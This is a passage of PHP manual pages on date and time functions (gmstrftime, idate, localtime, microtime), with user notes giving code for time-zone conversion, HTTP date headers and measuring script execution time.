<?php
function UKdst_time()
{
    // created by Matthew Waygood (www.waygoodstuff.co.uk)
    $timestamp = mktime(gmdate("H, i, s, m, d, Y")); // UTC time
    $this_year=gmdate("Y", $timestamp);

    // last sunday in march at 1am UTC
    $last_day_of_march=gmmktime(1,0,0,3,31,$this_year);
    $last_sunday_of_march=strtotime("-".gmdate("w", $last_day_of_march)." day", $last_day_of_march);

    // last sunday in october at 1am UTC
    $last_day_of_october=gmmktime(1,0,0,10,31,$this_year);
    $last_sunday_of_october=strtotime("-".gmdate("w", $last_day_of_october)." day", $last_day_of_october);

    if( ($timestamp > $last_sunday_of_march) && ($timestamp < $last_sunday_of_october) )
    {
        $timestamp=$timestamp+3600; // foward one hour
    }
    return $timestamp;
}
?>
Dave 29-Mar-2004 09:35
There appears to be a discrepency between PHP and C timestamps.  The C time() and gettimeofday() functions are documented to return based on UTC time, but the value obtained doesn't match the PHP gmmktime() function.  Instead, it matches the PHP mktime() function, which is supposed to be local time.

It seems that C always uses a UTC timestamp and adjusts to local time through different handling functions (gmtime() vs localtime()).  PHP appears to use differing UTC/local timestamps, but single handling functions.

The exception to this rule is the PHP time() function, which appears to behave in the same was as the C version.

In short, if your PHP is working with timestamps created in C (or vice versa) make sure you are comparing apples to apples.
zhong311 at collegeclub dot com 13-Feb-2004 03:40
When attempting to use HTTP's If-Modified-Since features for caching I ran into the problem of being able to compare the GMT date the browser was sending to my own Last-Modified date (stored in a database field). I saw many examples of how to create a GMT date from a unix timestamp, but little on how to actually get a GMT date into a unix timestamp. Perhaps someone has a better way, here's my solution:

<?php

function gmstrtotime($sgm) {
    $months = array(
      'Jan'=>1,
      'Feb'=>2,
      'Mar'=>3,
      'Apr'=>4,
      'May'=>5,
      'Jun'=>6,
      'Jul'=>7,
      'Aug'=>8,
      'Sep'=>9,
      'Oct'=>10,
      'Nov'=>11,
      'Dec'=>12
    );
    list($D, $d, $M, $Y, $H, $i, $s) = sscanf($sgm, "%3s, %2d %3s %4d %2d:%2d:%2d GMT");
    return gmmktime($H, $i, $s, $months[$M], $d, $Y);
}

// test: after all is said and done
// $time should be the same as $gmtime

$time = time();
$us = date("m/d/Y H:i:s",$time);
$sgm = gmdate("D, d M Y H:i:s",$time) . " GMT";

$gmtime = gmstrtotime($sgm);

echo $us . "<BR>";
echo $sgm . "<BR>";
echo $time . "<BR>";
echo $gmtime . "<BR>";

?>

My results:

02/13/2004 10:45:42
Fri, 13 Feb 2004 20:45:42 GMT
1076705142
1076705142

Credit to kyle at frozenonline dot com for his strtotime example
gmdate
gmstrftime
Date/Time Functions


Format a GMT/UTC time/date according to locale settings

gmmktime
idate
Date/Time Functions
PHP Manual

gmstrftime

(PHP 4, PHP 5)

gmstrftime — Format a GMT/UTC time/date according to locale settings

Description

string gmstrftime ( string $format [, int $timestamp = time() ] )

Behaves the same as strftime() except that the time returned is Greenwich Mean Time (GMT). For example, when run in Eastern Standard Time (GMT -0500), the first line below prints "Dec 31 1998 20:00:00", while the second prints "Jan 01 1999 01:00:00".

Parameters

format

See description in strftime().

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a string formatted according to the given format string using the given timestamp or the current local time if no timestamp is given. Month and weekday names and other language dependent strings respect the current locale set with setlocale().

Examples

Example #1 gmstrftime() example

<?php
setlocale(LC_TIME, 'en_US');
echo strftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
echo gmstrftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
?>

See Also

  • strftime() - Format a local time/date according to locale settings

User Contributed Notes

pvdster at hotmail dot com 22-Mar-2005 07:50
If you want the dutch time on your pages and you are hosted on a server in the USA you can easily change it this way:

<?php
setlocale(LC_TIME, 'nl_NL');
$tgl = gmstrftime("%d %B %Y - %H:%M uur",time()+3600);
?>

Then use $tgl to display the right time.
Note the +3600 is a day light savings time correction.
The result: 22 maart 2005 - 16:39 uur

First I used the normal date function and this was the previous result: March 22, 2005 - 04:28 AM

I needed it for a dutch guestbook.

I'm new to PHP and it took me a while to find it out and maybe it's of no use for experienced PHP programmers but I thought people can always ignore my post :)
peter dot albertsson at spray dot se 05-Feb-2005 07:27
gmstrftime() should not be used to generate a RFC 850 date for use in HTTP headers, since its output is affected by setlocale().

Use gmdate instead:

gmdate('D, d M Y H:i:s') . ' GMT';
yellow dot snow at huskies dot com 10-Oct-2004 09:15
HTTP 1.1 (RFC 2068) requires an RFC 1123 date with a four digit year, so the correct format to use for a Last-modified header would look something like this:

<?php
header("Last-modified: " .
gmstrftime("%a, %d %b %Y %T %Z",getlastmod()));
?>
neo at gothic-chat d0t de 24-Jun-2004 11:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().
gmmktime
idate
Date/Time Functions


Format a local time/date as integer

gmstrftime
localtime
Date/Time Functions
PHP Manual

idate

(PHP 5)

idate — Format a local time/date as integer

Description

int idate ( string $format [, int $timestamp = time() ] )

Returns a number formatted according to the given format string using the given integer timestamp or the current local time if no timestamp is given. In other words, timestamp is optional and defaults to the value of time().

Unlike the function date(), idate() accepts just one char in the format parameter.

Parameters

format

The following characters are recognized in the format parameter string
format character | Description
B | Swatch Beat/Internet Time
d | Day of the month
h | Hour (12 hour format)
H | Hour (24 hour format)
i | Minutes
I (uppercase i) | returns 1 if DST is activated, 0 otherwise
L (uppercase l) | returns 1 for leap year, 0 otherwise
m | Month number
s | Seconds
t | Days in current month
U | Seconds since the Unix Epoch - January 1 1970 00:00:00 UTC - this is the same as time()
w | Day of the week (0 on Sunday)
W | ISO-8601 week number of year, weeks starting on Monday
y | Year (1 or 2 digits - check note below)
Y | Year (4 digits)
z | Day of the year
Z | Timezone offset in seconds

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns an integer.

As idate() always returns an integer and as they can't start with a "0", idate() may return fewer digits than you would expect. See the example below.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 idate() example

<?php
$timestamp = strtotime('1st January 2004'); //1072915200

// this prints the year in a two digit format
// however, as this would start with a "0", it
// only prints "4"
echo idate('y', $timestamp);
?>

See Also

  • date() - Format a local time/date
  • getdate() - Get date/time information
  • time() - Return current Unix timestamp

User Contributed Notes

khaine at herbok dot org 22-Dec-2010 02:07
A function that made by idate for print a hour you want:

<?php
function hour ( $a, $b )
{
    $timestamp = strtotime(''.$a.':'.$b.':00');
    $aa = idate('H', $timestamp);
    $bb = idate('i', $timestamp);
    if($bb=="0") { $cc = "00"; } else { $cc = $bb; }
    $dd = $aa.".".$cc;
    return($dd);
}
?>

Why should i use it?
For example:
You have to print 08:00 to 21:00 by 15 minutes periods.
This is a useful code for shipping sites for delivery time.

<?php
echo "<select name=\"example\">";
for($i=8;$i<=20;$i++)
{
    for($ii=0;$ii<=3;$ii++)
    {
        $iii = $ii * 15;
        $hour = hour($i, $iii);
        echo "<option value=\"".$hour."\">".$hour."</option>";
    }
}
echo "</select>";
?>
gmstrftime
localtime
Date/Time Functions


Get the local time

idate
microtime
Date/Time Functions
PHP Manual

localtime

(PHP 4, PHP 5)

localtime — Get the local time

Description

array localtime ([ int $timestamp = time() [, bool $is_associative = false ]] )

The localtime() function returns an array identical to that of the structure returned by the C function call.

Parameters

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

is_associative

If set to FALSE or not supplied then the array is returned as a regular, numerically indexed array. If the argument is set to TRUE then localtime() returns an associative array containing all the different elements of the structure returned by the C function call to localtime. The names of the different keys of the associative array are as follows:

  • "tm_sec" - seconds, 0 to 59
  • "tm_min" - minutes, 0 to 59
  • "tm_hour" - hours, 0 to 23
  • "tm_mday" - day of the month, 1 to 31
  • "tm_mon" - month of the year, 0 (Jan) to 11 (Dec)
  • "tm_year" - years since 1900
  • "tm_wday" - day of the week, 0 (Sun) to 6 (Sat)
  • "tm_yday" - day of the year, 0 to 365
  • "tm_isdst" - is daylight savings time in effect? Positive if yes, 0 if not, negative if unknown.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 localtime() example

<?php
$localtime = localtime();
$localtime_assoc = localtime(time(), true);
print_r($localtime);
print_r($localtime_assoc);
?>

The above example will output something similar to:

Array
(
    [0] => 24
    [1] => 3
    [2] => 19
    [3] => 3
    [4] => 3
    [5] => 105
    [6] => 0
    [7] => 92
    [8] => 1
)

Array
(
    [tm_sec] => 24
    [tm_min] => 3
    [tm_hour] => 19
    [tm_mday] => 3
    [tm_mon] => 3
    [tm_year] => 105
    [tm_wday] => 0
    [tm_yday] => 92
    [tm_isdst] => 1
)

See Also

  • getdate() - Get date/time information

User Contributed Notes

Chris 25-May-2011 08:26
Sometimes, there's not a server-based/PHP method for getting local time. You have to get it from the client via Javascript.  Google "bitbucket timezone detect" and use it to set a "local_timezone" cookie that you can read from PHP and set via date_default_timezone_set()
dev2 at heesakkers dot info 30-Dec-2008 07:23
Be aware that tm_yday also starts with 0 for the first of January.
hutch120 at gmail dot com 07-Nov-2007 05:23
The functions shown below may help implement a timezones library.

<?php

/**
 * This function returns the server timezone offset in seconds
 * e.g. Sydney in DST returns +1100 / 100 * 60 * 60 = 39600
 */
function getServerTimeZoneOffset()
{
    return date("O") / 100 * 60 * 60; // Seconds from GMT
}

/**
 * This function returns the local timezone offset in seconds
 *   where getTimeZone($userid) returns a timezone see below.
 */
function getLocalTimeZoneOffset($userid)
{
    return getTimeZone($userid) / 100 * 60 * 60; // Seconds from user GMT
}

// Now converting a server timestamp to a local timestamp is very simple.

/**
 * Will take a timestamp and minus off Server GMT and add on user GMT seconds
 * thereby making a local timestamp from a server timestamp.
 */
function getLocalTimestampFromServerTimestamp($userid, $timestamp)
{
    return $timestamp - getServerTimeZoneOffset() + getLocalTimeZoneOffset( $userid );
}

//And getting the local time from a user entered date is a useful function.
//Combine the next two functions to achieve just that.

function getLocalTimestampFromDateTime($userid, $datetime)
{
    $timestamp = strtotime($datetime);
    return getLocalTimestampFromServerTimestamp($userid, $timestamp);
}

/**
 * If you have a localized timestamp and just want to get the date format use this.
 */
function getFormattedDate($userid, $timestamp)
{
    return date("Y-m-d H:i:s " . getTimeZone($userid), $timestamp);
}

/**
 * Returns a timezone in the format +0000
 *  e.g. Perth in DST returns +0900
 */
function getTimeZone($userid)
{
    return "+0900"; // Perth in DST
}

?>
anomie at users dot sourceforge dot net 08-Dec-2006 12:22
Here is another version of gmtime(). This one doesn't involve messing around with timezones at all. Note that PHP4 users should check out the array_combine page for replacements for that function.

<?php
function gmtime($ts=null, $is_associative=false){
    if(is_null($ts)) $ts=time();
    $t=array_map('intval',explode(',',gmdate('s,i,H,d,m,Y,w,z,I',$ts)));
    $t[4]--;
    $t[5]-=1900;
    if(!$is_associative) return $t;
    return array_combine(array('tm_sec','tm_min','tm_hour','tm_mday','tm_mon',
                                 'tm_year','tm_wday','tm_yday','tm_isdst'),
                       $t);
}
?>
matt (at) roughest [d0t] net 26-Oct-2004 10:49
Be careful with the "tm_isdst" element. It may be incorrect for certain localities where daylight savings time is not observed (for example most of Saskatchewan in Canada).
tony at speedscript dot com 24-Feb-2004 10:35
Date select box for the current week, or whatever week you give for an offset (in seconds), returns the string you can echo with the select box named $name:

<?php
function week_date_selectbox( $time_offset, $name )
    {
    if( isset( $time_offset ) )
        $t = time() + $time_offset;
    else
        $t = time();

    $wday = array("Sun ","Mon ","Tue ","Wed ","Thu ","Fri ","Sat ");
    $mon = array("Jan ","Feb ","Mar ","Apr ","May ","Jun ","Jul ","Aug ","Sep ","Oct ","Nov ","Dec ");
    $mybox = "<select name=\"$name\">\n";
    for($ii = 0; $ii > -6; $ii--)
        {
        $tarr = localtime( $t + $ii * 86400, 1 );
        if( $tarr["tm_wday"] == 0 )
            {
            // found Sunday, now make the week's strings
            for($jj = 0; $jj < 7; $jj++)
                {
                $tarr = localtime( $t + ($jj + $ii) * 86400, 1 );
                $mybox .= sprintf( " <option value=\"%04d-%02d-%02d\">%s%s%d %d</option>\n",
                        ((int)$tarr["tm_year"] + 1900),
                        $tarr["tm_mon"],
                        ((int)$tarr["tm_mday"] + 1),
                        $wday[$tarr["tm_wday"]],
                        $mon[$tarr["tm_mon"]],
                        (int)$tarr["tm_mday"],
                        ((int)$tarr["tm_year"] + 1900) );
                }
            break;
            }
        }
    $mybox .= "</select>\n";

    return $mybox;
    }
?>
!!emiliop!! AT nospam dot dorial dot com 20-Feb-2003 12:12
To calculate the delta between the local time and UTC:

<?php
function tzdelta ( $iTime = 0 )
{
    if ( 0 == $iTime ) { $iTime = time(); }
    $ar = localtime ( $iTime );
    $ar[5] += 1900; $ar[4]++;
    $iTztime = gmmktime ( $ar[2], $ar[1], $ar[0],
        $ar[4], $ar[3], $ar[5], $ar[8] );
    return ( $iTztime - $iTime );
}
?>

So if your system is in DST, tzdelta should return -18000 (five hours less).
arch at archtech dot yi dot org 09-Dec-2002 01:25
You can implement gmtime quote simply.

<?php
function GetTZOffset() {
  $Offset = date("O", 0);

  $Parity = $Offset < 0 ? -1 : 1;
  $Offset = $Parity * $Offset;
  $Offset = ($Offset - ($Offset % 100))/100*60 + $Offset % 100;

  return $Parity * $Offset;
}

$TZOffset = GetTZOffset();

$t_time = time()-$TZOffset*60; #Counter adjust for localtime()
$t_arr = localtime($t_time);
?>
static 02-Jun-2002 07:57
Be VERY CAREFUL with the return of this function if you intend to feed it straight back into mktime(). localtime() returns months as 0 to 11, but mktime uses months as 1 to 12. The resulting off-by-one errors can be ... unpleasant.

You Have Been Warned.

Wade.
jausions-N at SPAM-hotmail dot com 26-Apr-2002 12:42
I strongly suggest to do all of your developments using GMT/UTC dates & times.

I provide here a version of a 'gmttime' function. Save it in a separate file and include it when needed.

Please post a correction here if you find it not working for your timezone (with or without daylight saving time.).

Thanks & Enjoy.
-----------------------------------------------

<?php
//
// File: gmttime.php
//
// Description:
//    Implements the gmttime function if missing from the PHP distribution
//

// Verifies that the function isn't already implemented
if (function_exists(gmttime))
    return;

//
// Function: gmttime
//
// Description:
//   Returns an array indexed as by the localtime() function:
//   - 0 or tm_sec: Seconds
//   - 1 or tm_min: Minutes
//   - 2 or tm_hour: Hour
//   - 3 or tm_mday: Day of the month
//   - 4 or tm_mon: Month of the year
//   - 5 or tm_year: Years since 1900
//   - 6 or tm_wday: Day of the week
//   - 7 or tm_yday: Day of the year
//   - 8 or tm_isdst: Is daylight saving time in effect
//   - tm_fyear: Full year (only available with associative array)
//
// Arguments:
//   - Timestamp
//   - Boolean (for associative indexing: 0 = off, 1 = on)
//
// Returns:
//   An array on success,
//   false on failure.
//
function gmttime($dTimestamp = '', $bAssoc = 0) {
    // Evaluate how much difference there is between local and GTM/UTC
    // Don't forget to correct for daylight saving time...
    $aNow = localtime();
    $iDelta = gmmktime(1, 1, 1, 1, 1, 1970, $aNow[8]) - mktime(1, 1, 1, 1, 1, 1970, $aNow[8]);

    if (!$bAssoc) {
        if ($dTimestamp == '') {
            return localtime(time() - $iDelta, 0);
        } else {
            return localtime($dTimestamp - $iDelta, 0);
        }
    } else {
        // For associative array, add full year index
        if ($dTimestamp == '') {
            $aGMTTime = localtime(time() - $iDelta, 1);
        } else {
            $aGMTTime = localtime($dTimestamp - $iDelta, 1);
        }
        $aGMTTime['tm_fyear'] = $aGMTTime['tm_year'] + 1900;
        return $aGMTTime;
    } // End [IF] return associative array?
} // End [FUNCTION] gmttime
?>
bens_nospam at benjamindsmith dot com 30-Mar-2002 06:29
You must keep in mind the difference between your server's time and your client's time!

I ran into this one when I wrote a calendar-based reminder system with SMS messaging - guys back east were always getting their messages late. (!?!)

I wrote two functions as wrappers for date handling, ServerTime() and ClientTime() that take client time (integer timestamp) and translate to server time and vice-versa based on config file settings.

Needless to say, you CANNOT FORGET THIS.
test at test dot de 21-Aug-2001 10:05
to set up berlin time it could look like this:

<?php
    print "<HTML><body><pre>";

    setlocale( "LC_ALL", "de_DE" );

    putenv( "PHP_TZ=Europe/Berlin" );

    $now = time();

    print_r( localtime(time(),true) );
    print_r( getdate() );

    print date("H:i:s");
    print date("T");

?>
verdy_p at wanadoo dot fr 22-Jul-2001 05:23
The corresponding function call to get the GMT time is not specified here. Only local time is reported, according to the current TZ environment setting.
One could try to use putenv() to set another timezone temporarily, however when running PHP in safe mode, putenv() is disabled and cannot be used in scripts.
However it's possible to simulate gmttime() by using localtime() and by transforming the results in the returned array.
The biggest problem with this function is that it is using an OS-dependent and localtime() function which is also depending on the standard C library implementation (some of them, do not support accurate locales). The second problem is that localtime() does not return an index specifying the local timezone offset, so transforming this date to UTC will become very ugly. Some systems support the gmtime() C function call, some don't. To get the timezone, some C libraries provide a global _timezone variable, some provide it as a macro that use a function call, some do not provide any variable, and one must deduce it by interpreting the TZ environment. This is too much ugly for PHP.

PHP should be extended by adding support to gmttime() with the same parameters, but the returned array should include additional indices to store the timezone offsets in seconds and names for both standard time and DST, for example:
 [tz_offset_std] = 3600,
 [tz_offset_dst]= 7200,
 [tz_name_std] = 'CET', (GMT+01:00)
 [tz_name_dst] = 'CEDT'. (GMT+02:00)
Or for the international, locale-independant, Zulu time (also known as UCT or simply UT), returned by gmtime():
 [tz_offset] = 0,
 [tz_offset_dst]= 0,
 [tz_name] = 'Z',
 [tz_name_dst] = 'Z'.

But it's much easier to use PHP's date() and gmdate() to make such transformations.

Beware of DST rules! In the southern hemisphere, standard time still occurs during winter, but the southern Winter is in June, not in December ! Use the tm_isdst indicator to know which timezone to display or interpret !
idate
microtime
Date/Time Functions


Return current Unix timestamp with microseconds

localtime
mktime
Date/Time Functions
PHP Manual

microtime

(PHP 4, PHP 5)

microtime — Return current Unix timestamp with microseconds

Description

mixed microtime ([ bool $get_as_float = false ] )

microtime() returns the current Unix timestamp with microseconds. This function is only available on operating systems that support the gettimeofday() system call.

Parameters

get_as_float

If used and set to TRUE, microtime() will return a float instead of a string, as described in the return values section below.

Return Values

By default, microtime() returns a string in the form "msec sec", where sec is the current time measured in the number of seconds since the Unix epoch (0:00:00 January 1, 1970 GMT), and msec is the number of microseconds that have elapsed since sec expressed in seconds.

If get_as_float is set to TRUE, then microtime() returns a float, which represents the current time in seconds since the Unix epoch accurate to the nearest microsecond.

Changelog

Version | Description
5.0.0 | The get_as_float parameter was added.

Examples

Example #1 Timing script execution with microtime()

<?php
/**
 * Simple function to replicate PHP 5 behaviour
 */
function microtime_float()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}

$time_start = microtime_float();

// Sleep for a while
usleep(100);

$time_end = microtime_float();
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

Example #2 Timing script execution in PHP 5

<?php
$time_start = microtime(true);

// Sleep for a while
usleep(100);

$time_end = microtime(true);
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

See Also

  • time() - Return current Unix timestamp

User Contributed Notes

langpavel at phpskelet dot org 19-May-2011 01:46
I use this for measure duration of script execution. This function should be defined (and of couse first call made) as soon as possible.

<?php
/**
 * get execution time in seconds at current point of call in seconds
 * @return float Execution time at this point of call
 */
function get_execution_time()
{
    static $microtime_start = null;
    if($microtime_start === null)
    {
        $microtime_start = microtime(true);
        return 0.0;
    }
    return microtime(true) - $microtime_start;
}
get_execution_time();

?>

However it is true that result depends of gettimeofday() call. ([jamie at bishopston dot net] wrote this & I can confirm)
If system time change, result of this function can be unpredictable (much greater or less than zero).
Harald Hanek 15-Jan-2011 03:10
As float with more accuracy.

<?php
function getmicrotime($e = 7)
{
    list($u, $s) = explode(' ',microtime());
    return bcadd($u, $s, $e);
}
echo getmicrotime();
?>
jamie at bishopston dot net 30-Dec-2010 12:55
All these timing scripts rely on microtime which relies on gettimebyday(2)

This can be inaccurate on servers that run ntp to syncronise the servers
time.

For timing, you should really use clock_gettime(2) with the
CLOCK_MONOTONIC flag set.

This returns REAL WORLD time, not affected by intentional clock drift.

This may seem a bit picky, but I recently saw a server that's clock was an
hour out, and they'd set it to 'drift' to the correct time (clock is speeded
up until it reaches the correct time)

Those sorts of things can make a real impact.

Any solutions, seeing as php doesn't have a hook into clock_gettime?

More info here: http://tinyurl.com/28vxja9

http://blog.habets.pp.se/2010/09/
gettimeofday-should-never-be-used-to-measure-time
Robin Leffmann 24-Dec-2010 12:07
While doing some experiments on using microtime()'s output for an entropy generator I found that its microsecond value was always quantified to the nearest hundreds (i.e. the number ends with 00), which affected the randomness of the entropy generator. This output pattern was consistent on three separate machines, running OpenBSD, Mac OS X and Windows.

The solution was to instead use gettimeofday()'s output, as its usec value followed no quantifiable pattern on any of the three test platforms.
Anonymous 23-Sep-2010 09:53
that related to the prescedence of the . operator

<?php
# normal prescedence
$a = "te" .   1 - 2   . "st"; # ((te . 1) - 2 ) . st ==> -2st
$b = "te" .   1 + 2   . "st"; # ((te . 1) + 2 ) . st ==>  2st

# modified prescedence
$c = "te" . ( 1 - 2 ) . "st"; # te . ( 1 - 2 ) . st ==> te-1st
$d = "te" . ( 1 + 2 ) . "st"; # te . ( 1 + 2 ) . st ==> te3st

var_dump( $a, $b );
var_dump( $c, $d );
Paul 21-Aug-2010 11:44
Something I noticed:
If you directly echo the time difference between start and the end you'll get a negative value most of the time. If you calculate first this will work correctly:

<?php
//This will produce in negative value:
$start = microtime();
for($i=100;$i>0;$i--){
echo $i;
}
$end = microtime();

echo 'Took:'.$end-$start.' seconds';
?>

<?php
//This will produce a correct value
$start = microtime();
for($i=100;$i>0;$i--){
echo $i;
}
$end = microtime();
$parseTime = $end-$start;

echo 'Took:'.$parseTime.' seconds';
?>
Andris 10-Aug-2010 02:23
I wrote a class which allows to time execution of php scripts very easily. You can even time multiple separate blocks and then get the total time at the end.

The class is pretty long so I won't post it here, but here's the link:
http://codeaid.net/php/calculate-script-execution-time-(php-class)

An quick usage example:
<?php
for ($i = 0; $i < 100; $i++) {
     // calculate the time it takes to run fx()
     Timer::start();
     fx();
     Timer::stop();

     fy();

     // calculate the time it takes to run fz()
     Timer::start();
     fz();
     Timer::stop();
}

print Timer::get();
?>
leonardonobre at ibest dot com dot br 16-Jul-2010 06:20
Convert date type MySQL to Brazilian (i.e: 2010-07-23 to 23/07/2010);

<?php
$date_brazilian = date("Y-m-d",microtime($_REQUEST[data_inicial]));
?>

The var $_REQUEST[data_inicial] = 23/07/2010 and convert to microtime (Unix TimeStamp) and the function date convert to format "Y-m-d".

Léo
strata_ranger at hotmail dot com 01-Oct-2009 11:42
Another version of a stopwatch-style function, this one with the following features:
- Can evaluate any function (callback) with any arbitrary arguments
- Can specify the # of iterations to run

The obvious caveat is of course to take the return value with a grain of salt, especially since this one doesn't run in the tightest loop possible.  A little eval() work could probably fix that, but in the meantime calling this function with no arguments will make it establish a reference point (using pi() ) to measure subsequent calls against -- sort of like hitting the "zero" button on a food scale.

<?php
function stopwatch()
// stopwatch([$limit], [$callback], [$args ... ])
// $limit - # of iterations to run
// $callback - function to time
// $args - arguments for function
//
{
  static $zero = 0;
  static $limit = 99999;

  $args = func_get_args() + Array(null);

  // Check for # iterations, assign for future calls
  if (is_integer($args[0])) $max = min(array_shift($args), 999999); else $max = $limit;
  if ($max != $limit)
  {
    $limit = $max;
    $zero = 0;
  }
  if (isset($args[0])) $callback = array_shift($args); else $callback = null;

  if (is_null($callback))
  {
    // Use a very small function as a reference point
    $callback = 'pi';
    $zero = null;
  }

  // Ensure a valid callback
  if (!is_callable($callback, false, $name)) return null;
  if ($name == __FUNCTION__) return null;

  // The actual loop
  $st = explode(' ',microtime());
  for($cx=0;  $cx<$max;  $cx++)
  {
    call_user_func_array($callback, $args);
  }

  // Final calculations
  $t = explode(' ', microtime());
  $t[0] -= $st[0];
  $t[1] -= $st[1];

  if (is_array($zero)) // Use previous reference point
  {
    $t[0] -= $zero[0];
    $t[1] -= $zero[1];
  }
  elseif (is_null($zero)) // or establish a new one
  {
    $zero = $t;
    return;
  }

  if ($t[0] < 0) // Ensure microseconds are always positive
  {
    $t[0]++; $t[1]--;
  }

  // Done
  return "$t[1] + $t[0]s";
}

function faster()
{
  return;
}

function slower()
{
  return fmod(5,2);
}

echo "<p>Comparing two functions...</p>";
var_dump(stopwatch('faster'));
var_dump(stopwatch('slower'));

echo "<p>Comparing 100,000 iterations of two functions...";
var_dump(stopwatch(100000, 'faster'));
var_dump(stopwatch('slower'));

echo "<p>Run a single function 500 times...</p>";
var_dump(stopwatch(500));
var_dump(stopwatch('max', 1, 2, 3, 4, 5));

echo "<p>Run a single function 555,555 times...</p>";
var_dump(stopwatch(555555));
var_dump(stopwatch('max', 1, 2, 3, 4, 5));

echo "<p>Fail sanity test...</p>";
var_dump(stopwatch('stopwatch')); // Attempt to time itself!
?>
bleakwind at gmail dot com 16-Sep-2009 10:19
Check Program runtime:
<?php

class bwruntime
{
    var $timestart;
    var $digits;

    function bwruntime($digits = "")
    {
        $this->timestart    = explode (' ', microtime());
        $this->digits       = $digits;
    }

    function totaltime()
    {
        $timefinish         = explode (' ', microtime());
        if($this->digits == ""){
            $runtime_float  = $timefinish[0] - $this->timestart[0];
        }else{
            $runtime_float  = round(($timefinish[0] - $this->timestart[0]), $this->digits);
        }
        $runtime = ($timefinish[1] - $this->timestart[1]) + $runtime_float;
        return $runtime;
    }
}
?>
thawootah 02-Aug-2009 04:23
Want to make sure your script doesn't time out on large updates? Say you're doing a poor mans cron job or working with large amounts of data in loop and the user begins to hang too long. Instead of them giving up and leaving you can break the loop when it reaches a set time and still display data.

Here's a simple handy dandy loop timer rounded to second.
<?php
$starttime = round(microtime(true));
$totaltime  = 0;
$maxtime = 5; //seconds
for ($i = 1; $i <= 20; $i++) {  /// 20 loops 1 sec each

        usleep(1000000);

    if($totaltime < $maxtime){
    $currenttime = round(microtime(true));
    $totaltime = $totaltime + ($currenttime -$starttime);
        //update and continue
    echo  $i.'<br>';

    }else{
        // stop updating or display not updated data.
    break;
    }
}

?>
gomodo at free dot fr 17-Jun-2009 03:32
Need a mini benchmark ?
Use microtime with this (very smart) benchmark function :

mixed mini_bench_to(array timelist[, return_array=false])
return a mini bench result

-the timelist first key must be 'start'
-default return a resume string, or array if return_array= true :
'total_time' (ms) in first row
details (purcent) in next row

example :
<?php
unset($t);    // if previous used

//-- zone to bench
$t['start'] = microtime(true);
$tab_test=array(1,2,3,4,5,6,7,8);
$fact=1;
$t['init_values'] = microtime(true);
foreach ($tab_test as $key=>$value)
{
    $fact=$fact*$value;
}
$t['loop_fact'] = microtime(true);
echo "fact = ".$fact."\n";
//-- END zone to bench

echo "---- string result----\n";
$str_result_bench=mini_bench_to($t);
echo $str_result_bench; // string return
echo "---- tab result----\n";
$tab_result_bench=mini_bench_to($t,true);
echo var_export($tab_result_bench,true);
?>
this example return:

---- string result----
total time : 0.0141 ms
start -> init_values : 51.1 %
init_values -> loop_fact : 48.9 %
---- tab result----
array (
  'total_time' => 0.0141,
  'start -> init_values' => 51.1,
  'init_values -> loop_fact' => 48.9,
)

The function to include :

<?php
function mini_bench_to($arg_t, $arg_ra=false)
  {
    $tttime=round((end($arg_t)-$arg_t['start'])*1000,4);
    if ($arg_ra) $ar_aff['total_time']=$tttime;
    else $aff="total time : ".$tttime."ms\n";
    $prv_cle='start';
    $prv_val=$arg_t['start'];

    foreach ($arg_t as $cle=>$val)
    {
        if($cle!='start')
        {
            $prcnt_t=round(((round(($val-$prv_val)*1000,4)/$tttime)*100),1);
            if ($arg_ra) $ar_aff[$prv_cle.' -> '.$cle]=$prcnt_t;
            $aff.=$prv_cle.' -> '.$cle.' : '.$prcnt_t." %\n";
            $prv_val=$val;
            $prv_cle=$cle;
        }
    }
    if ($arg_ra) return $ar_aff;
    return $aff;
  }
?>
singh206 at gmail dot com 10-Apr-2009 11:35
<?php
class StopWatch {
    public $total;
    public $time;

    public function __construct() {
        $this->total = $this->time = microtime(true);
    }

    public function clock() {
        return -$this->time + ($this->time = microtime(true));
    }

    public function elapsed() {
        return microtime(true) - $this->total;
    }

    public function reset() {
        $this->total=$this->time=microtime(true);
    }
}

$stopwatch = new StopWatch();
usleep(1000000);
echo "Checkpoint 1: ".$stopwatch->clock()." seconds<br />";

usleep(1000000);
echo "Checkpoint 2: ".$stopwatch->clock()." seconds<br />";

echo "Total Elapsed: ".$stopwatch->elapsed()." seconds<br />";
?>
SimonB 07-Nov-2008 03:10
Here is a simple way to measure the clients connection speed (assuming the server is able to supply fast enough). It measures how much data is transfered in one second and reports the result.

I needed to measure this to offer sensible defaults for selecting live streams at different bitrates for a webcasting application.

<?php
function measure_kbps()
{
  //Return the unix timestamp + microseconds
  function micro_time()
  {
    $timearray = explode(" ", microtime());
    return ($timearray[1] + $timearray[0]);
  }

  //Prepare a 1kB chunk to send
  for ($i=0; $i<1023; $i++) $chunk.='A';
  $chunk.='\n';
  //Hide what happens next
  echo "<!-- ";
  //Keep sending 1 kB chunks for 1 second
  flush();
  $count=0;
  $starttime = micro_time();
  do
  {
    echo $chunk;
    $count++;
    flush();
    $endtime = micro_time();
    $totaltime = $endtime - $starttime;
    $totaltime = round($totaltime,5);
